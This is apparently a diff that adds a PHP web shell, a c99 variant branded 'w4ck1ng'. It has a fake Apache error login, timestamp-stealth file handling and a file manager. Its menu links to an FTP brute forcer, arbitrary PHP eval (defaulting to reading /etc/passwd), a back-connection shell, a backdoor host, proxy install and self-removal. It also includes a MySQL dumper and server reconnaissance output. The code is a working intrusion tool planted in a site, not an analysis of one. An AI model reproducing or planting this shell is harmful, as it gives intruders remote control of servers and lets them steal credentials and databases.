+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+$login = "";
+$pass = "";
+$md5_pass = "";
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Apache Error: Restricted File";
+$accessdeniedmess = "access denied";
+$gzipencode = TRUE;
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+$donated_html = "";
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+$curdir = "./";
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = "";
+$tmpdir_log = "./";
+//$log_email = "synsta@gmail.com";
+$sort_default = "0a";
+$sort_save = TRUE;
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+$safemode_diskettes = array("a");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+
+$sess_cookie = "c99shvars"; // Cookie-variable name
+
+
+
+//Quick launch
+$quicklaunch = array(
+ array("[Home] ",$surl),
+ array("[Search] ",$surl."act=search&d=%d"),
+ array("[Encoder] ",$surl."act=encoder&d=%d"),
+ array("[Processes] ",$surl."act=processes&d=%d"),
+ array("[FTP Brute Forcer] ",$surl."act=ftpquickbrute&d=%d"),
+ array("[Server Information] ",$surl."act=security&d=%d"),
+ array("[SQL Manager] ",$surl."act=sql&d=%d"),
+ array("[Eval PHP code] ",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
+ array("[Back-Connection] ",$surl."act=backc"),
+ array("[Self remove] ",$surl."act=selfremove"),
+ array("[Install Proxy] ",$surl."act=proxy"),
+ array("[Backdoor Host] ",$surl."act=shbd"),
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img"){
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("mysql_dump")){
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by ".$shver."
+# Home page: http://w4ck1ng.com
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?>
+
+shell@
+
+ k1ngw4ck1ng w 4ck1 ngw4ck1n gw4c k 1ngw4ck 1ngw 4ck 1 ngw4ck1ngw4ck1ng w4 ck1ngw4ck1 n gw4ck1ngw 4 ck1ngw4ck1 n gw4c k1ng w4ck1ngw4ck1ngw4ck1ngw4ck1ng
+
+ w4ck1ngw4c k1n gw4ck 1ngw4 ck 1ngw4ck1n gw 4ck1n g w 4ck1ngw4ck 1ngw4 ck 1ng w4ck1n gw4ck1 ngw4ck 1n gw4ck1ngw 4ck 1ng w4ck 1ngw4ck1ngw4ck1ngw4ck1ngw4ck
+
+ 1ngw4ck1ng w4ck 1ngw 4ck1 ngw4 ck1 ng w4c k1 ngw4 c k1 ngw 4 ck 1ngw4ck1ng w 4ck 1ng w4ck1n gw4ck1ngw 4ck 1ngw4ck1 ngw4 c k1ngw 4ck1n gw4ck1ngw4ck 1ngw4ck1ngw
+
+ 4ck1ngw4ck1 ngw4 ck 1ngw4 ck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w4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ng w4 ck1ngw4ck1ngw4ck1n gw4ck 1ngw4ck1
+ ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1 n gw4ck1ngw4ck1ngw4ck1ng w 4ck1ngw4
+
Software:
System Info: ",1); ?>
echo "Disabled functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";} ?>We are: ",1);} else {echo get_current_user();} ?>cURL: ".(($curl_on)?("ON "):("OFF ")); ?> if(@ini_get("register_globals")){$reg_g="ON ";}else{$reg_g="OFF ";} echo("Register globals: $reg_g"); ?>MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ";
+echo " MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";} ?>PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";} ?>Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+
+}
+echo " ";
+echo "Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
";}
+echo "
";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
